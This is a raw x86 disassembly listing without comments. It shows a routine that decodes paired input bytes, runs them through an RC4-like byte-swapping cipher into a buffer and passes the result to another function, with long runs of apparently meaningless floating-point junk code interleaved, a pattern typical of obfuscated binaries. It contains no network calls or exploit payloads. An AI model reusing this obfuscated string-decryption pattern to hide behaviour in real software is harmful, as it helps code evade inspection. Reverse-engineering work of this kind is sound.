movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x3286]
add edx, ecx
mov byte [ebp - 0x3286], dl
mov al, byte [ebp - 0x3271]
add al, 1
mov byte [ebp - 0x3271], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movss xmm0, dword [0xa723a4]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [0xa722fc]
movss dword [ebp - 0x3d10], xmm0
movss xmm0, dword [0xa72218]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [0xa72118]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [0xa72024]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x35a4]
subss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3bb0]
mulss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [ebp - 0x3bb0]
subss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [ebp - 0x35a4]
comiss xmm0, dword [ebp - 0x34f8]
jbe 0x439347
movss xmm0, dword [ebp - 0x3bb0]
subss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [ebp - 0x3bb0]
addss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [ebp - 0x39c4]
mulss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x35a4]
subss xmm0, dword [ebp - 0x3bb0]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3d10]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3d10], xmm0
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
jmp 0x43953a
movss xmm0, dword [ebp - 0x39c4]
divss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x35a4]
subss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x34f8]
mulss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x34f8]
divss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x3bb0]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3bb0]
divss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
movss xmm0, dword [ebp - 0x34f8]
divss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x3d10]
divss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3d10], xmm0
movss xmm0, dword [ebp - 0x39c4]
addss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x39c4]
comiss xmm0, dword [ebp - 0x35a4]
jbe 0x4394c2
movss xmm0, dword [ebp - 0x34f8]
mulss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x34f8]
subss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x39c4]
mulss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3d10]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3d10], xmm0
movss xmm0, dword [ebp - 0x3bb0]
mulss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x3bb0], xmm0
jmp 0x43953a
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3d10]
subss xmm0, dword [ebp - 0x3bb0]
movss dword [ebp - 0x3d10], xmm0
movss xmm0, dword [ebp - 0x34f8]
subss xmm0, dword [ebp - 0x3d10]
movss dword [ebp - 0x34f8], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x34f8]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x39c4], xmm0
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x3296]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp - 0x32ec]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x32ec]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x32ed]
add edx, ecx
mov byte [ebp - 0x32ed], dl
movzx eax, byte [ebp - 0x32ee]
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x3271]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x32ab]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32ed]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp + edx - 0x58c4]
xor eax, ecx
mov byte [ebp - 0x3296], al
mov dl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x3398], 0
jle 0x439645
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x3398]
mov word [ebp + edx*2 - 0x35a], cx
jmp 0x43908c
mov eax, dword [ebp - 0x3604]
add eax, 1
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3398]
add ecx, 1
mov dword [ebp - 0x3398], ecx
mov edx, dword [ebp - 0x3604]
add edx, 1
mov dword [ebp - 0x3604], edx
mov eax, dword [ebp - 0x3398]
shl eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3880], edx
mov dword [ebp - 0x3884], 0xa0
mov eax, dword [ebp - 0x3398]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39d0]
movzx eax, byte [edx]
mov dword [ebp - 0x3888], eax
mov dword [ebp - 0x388c], 0x38
mov ecx, dword [ebp - 0x3880]
sub ecx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], ecx
mov edx, dword [ebp - 0x3888]
sub edx, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], edx
mov eax, dword [ebp - 0x3890]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], edx
mov al, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], al
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + ecx - 0x58c4]
mov byte [ebp - 0x32ec], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x3286]
add edx, ecx
mov byte [ebp - 0x3286], dl
mov al, byte [ebp - 0x3271]
add al, 1
mov byte [ebp - 0x3271], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x3296]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp - 0x32ec]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x32ec]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x32ed]
add edx, ecx
mov byte [ebp - 0x32ed], dl
movzx eax, byte [ebp - 0x32ee]
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x3271]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x32ab]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32ed]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp + edx - 0x58c4]
xor eax, ecx
mov byte [ebp - 0x3296], al
mov dl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x3398], 0
jle 0x4398b3
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x3398]
mov word [ebp + edx*2 - 0x35a], cx
mov eax, dword [ebp - 0x3398]
add eax, 1
mov dword [ebp - 0x3398], eax
mov ecx, dword [ebp - 0x3604]
add ecx, 1
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3398]
shl edx, 1
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x39cc]
add eax, dword [ebp - 0x39c8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3880], ecx
mov dword [ebp - 0x3884], 0xa0
mov edx, dword [ebp - 0x3398]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x39d0], eax
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39d0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3888], edx
mov dword [ebp - 0x388c], 0x38
mov eax, dword [ebp - 0x3880]
sub eax, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], eax
mov ecx, dword [ebp - 0x3888]
sub ecx, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], ecx
mov edx, dword [ebp - 0x3890]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov eax, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], ecx
mov dl, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], dl
movzx eax, byte [ebp - 0x32ab]
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x32ec], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp - 0x3286]
add ecx, eax
mov byte [ebp - 0x3286], cl
mov dl, byte [ebp - 0x3271]
add dl, 1
mov byte [ebp - 0x3271], dl
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x3296]
movzx ecx, byte [ebp - 0x3286]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x3296]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x3271]
mov cl, byte [ebp - 0x32ec]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x32ec]
movzx eax, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp - 0x32ed]
add ecx, eax
mov byte [ebp - 0x32ed], cl
movzx edx, byte [ebp - 0x32ee]
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx eax, byte [ebp - 0x3271]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x58c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3296]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx eax, byte [ebp - 0x32ab]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
movzx eax, byte [ebp - 0x32ed]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp + ecx - 0x58c4]
xor edx, eax
mov byte [ebp - 0x3296], dl
mov cl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], cl
mov dl, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], dl
cmp dword [ebp - 0x3398], 0
jle 0x439b0e
movsx ax, byte [ebp - 0x3326]
mov ecx, dword [ebp - 0x3398]
mov word [ebp + ecx*2 - 0x35a], ax
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x3398], edx
mov eax, dword [ebp - 0x3604]
add eax, 1
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3398]
shl ecx, 1
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39c8]
movzx eax, byte [edx]
mov dword [ebp - 0x3880], eax
movsd xmm0, qword [0xa71eb8]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [0xa71d70]
movsd qword [ebp - 0x5be4], xmm0
movsd xmm0, qword [0xa71bd8]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [0xa71a30]
movsd qword [ebp - 0x5bdc], xmm0
movsd xmm0, qword [0xa717a8]
movsd qword [ebp - 0x45ec], xmm0
movsd xmm0, qword [ebp - 0x5bdc]
mulsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x5bdc], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x45d8]
mulsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [ebp - 0x45d8]
addsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [ebp - 0x45ec]
comisd xmm0, xmmword [ebp - 0x42b8]
jbe 0x439ca6
movsd xmm0, qword [ebp - 0x45d8]
addsd xmm0, qword [ebp - 0x45ec]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [ebp - 0x42b8]
addsd xmm0, qword [ebp - 0x45d8]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x5be4]
addsd xmm0, qword [ebp - 0x5bdc]
movsd qword [ebp - 0x5be4], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x45d8]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x45d8]
movsd qword [ebp - 0x42b8], xmm0
jmp 0x439d28
movsd xmm0, qword [ebp - 0x45d8]
subsd xmm0, qword [ebp - 0x5bdc]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [ebp - 0x45ec]
mulsd xmm0, qword [ebp - 0x42b8]
movsd qword [ebp - 0x45ec], xmm0
movsd xmm0, qword [ebp - 0x45ec]
addsd xmm0, qword [ebp - 0x42b8]
movsd qword [ebp - 0x45ec], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x5be4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x42b8]
subsd xmm0, qword [ebp - 0x5be4]
movsd qword [ebp - 0x42b8], xmm0
mov dword [ebp - 0x3884], 0xa0
mov ecx, dword [ebp - 0x3398]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39d0], edx
mov eax, dword [ebp - 0x39cc]
add eax, dword [ebp - 0x39d0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3888], ecx
mov dword [ebp - 0x388c], 0x38
mov edx, dword [ebp - 0x3880]
sub edx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], edx
mov eax, dword [ebp - 0x3888]
sub eax, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], eax
mov ecx, dword [ebp - 0x3890]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov edx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], edx
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], eax
mov cl, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], cl
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + edx - 0x58c4]
mov byte [ebp - 0x32ec], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp - 0x3286]
add eax, edx
mov byte [ebp - 0x3286], al
mov cl, byte [ebp - 0x3271]
add cl, 1
mov byte [ebp - 0x3271], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x32ab]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3296]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp - 0x3296]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3271]
mov al, byte [ebp - 0x32ec]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x32ec]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp - 0x32ed]
add eax, edx
mov byte [ebp - 0x32ed], al
movzx ecx, byte [ebp - 0x32ee]
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x58c4]
movzx edx, byte [ebp - 0x3271]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x58c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3296]
movzx eax, byte [ebp + edx - 0x58c4]
movzx edx, byte [ebp - 0x32ab]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
movzx edx, byte [ebp - 0x32ed]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp + eax - 0x58c4]
xor ecx, edx
mov byte [ebp - 0x3296], cl
mov al, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], al
mov cl, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], cl
cmp dword [ebp - 0x3398], 0
jle 0x439f36
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x3398]
mov word [ebp + eax*2 - 0x35a], dx
mov ecx, dword [ebp - 0x3604]
add ecx, 0x12
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x4b74], edx
jmp 0x439f65
mov eax, dword [ebp - 0x4b74]
add eax, 1
mov dword [ebp - 0x4b74], eax
mov ecx, dword [ebp - 0x4b74]
cmp ecx, dword [ebp - 0x3604]
jge 0x43a1c7
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x3398], edx
mov eax, dword [ebp - 0x3398]
shl eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3880], edx
mov dword [ebp - 0x3884], 0xa0
mov eax, dword [ebp - 0x3398]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39d0]
movzx eax, byte [edx]
mov dword [ebp - 0x3888], eax
mov dword [ebp - 0x388c], 0x38
mov ecx, dword [ebp - 0x3880]
sub ecx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], ecx
mov edx, dword [ebp - 0x3888]
sub edx, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], edx
mov eax, dword [ebp - 0x3890]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], edx
mov al, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], al
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + ecx - 0x58c4]
mov byte [ebp - 0x32ec], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x3286]
add edx, ecx
mov byte [ebp - 0x3286], dl
mov al, byte [ebp - 0x3271]
add al, 1
mov byte [ebp - 0x3271], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x3296]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp - 0x32ec]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x32ec]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x32ed]
add edx, ecx
mov byte [ebp - 0x32ed], dl
movzx eax, byte [ebp - 0x32ee]
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x3271]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x32ab]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32ed]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp + edx - 0x58c4]
xor eax, ecx
mov byte [ebp - 0x3296], al
mov dl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x3398], 0
jle 0x43a1c2
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x3398]
mov word [ebp + edx*2 - 0x35a], cx
jmp 0x439f56
mov eax, dword [ebp - 0x3604]
add eax, 1
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3398]
add ecx, 1
mov dword [ebp - 0x3398], ecx
mov edx, dword [ebp - 0x3604]
add edx, 1
mov dword [ebp - 0x3604], edx
mov eax, dword [ebp - 0x3398]
shl eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3880], edx
mov dword [ebp - 0x3884], 0xa0
mov eax, dword [ebp - 0x3398]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39d0]
movzx eax, byte [edx]
mov dword [ebp - 0x3888], eax
mov dword [ebp - 0x388c], 0x38
mov ecx, dword [ebp - 0x3880]
sub ecx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], ecx
mov edx, dword [ebp - 0x3888]
sub edx, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], edx
mov eax, dword [ebp - 0x3890]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], edx
mov al, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], al
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + ecx - 0x58c4]
mov byte [ebp - 0x32ec], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x3286]
add edx, ecx
mov byte [ebp - 0x3286], dl
mov al, byte [ebp - 0x3271]
add al, 1
mov byte [ebp - 0x3271], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x3296]
mov al, byte [ebp + ecx - 0x58c4]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp - 0x32ec]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x32ec]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp - 0x32ed]
add edx, ecx
mov byte [ebp - 0x32ed], dl
movzx eax, byte [ebp - 0x32ee]
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x3271]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3296]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx ecx, byte [ebp - 0x32ab]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32ed]
movzx ecx, byte [ebp + ecx - 0x58c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp + edx - 0x58c4]
xor eax, ecx
mov byte [ebp - 0x3296], al
mov dl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x3398], 0
jle 0x43a430
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x3398]
mov word [ebp + edx*2 - 0x35a], cx
mov eax, 2
imul ecx, eax, 0x28
mov dword [ebp - 0x5100], ecx
cmp dword [ebp - 0x5100], 0x52
jae 0x43a449
jmp 0x43a44e
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x5100]
mov word [ebp + eax - 0x358], dx
jmp 0x43a4b4
mov dword [ebp - 0x495c], 0
jmp 0x43a47b
mov ecx, dword [ebp - 0x495c]
add ecx, 1
mov dword [ebp - 0x495c], ecx
cmp dword [ebp - 0x495c], 0x29
jge 0x43a4b4
mov edx, dword [ebp - 0x495c]
shl edx, 1
mov dword [ebp - 0x50fc], edx
cmp dword [ebp - 0x50fc], 0x52
jae 0x43a49d
jmp 0x43a4a2
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x50fc]
mov word [ebp + ecx - 0x358], ax
jmp 0x43a46c
push 0
push 1
mov edx, dword [ebp - 0x4590]
push edx
lea eax, [ebp - 0x200]
push eax
push 0
lea ecx, [ebp - 0x358]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3188], 0
mov dword [ebp - 0x318c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x474c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f4], xmm0
jmp 0x43a52b
movsd xmm0, qword [ebp - 0x45f4]
addsd xmm0, qword [0xa71350]
movsd qword [ebp - 0x45f4], xmm0
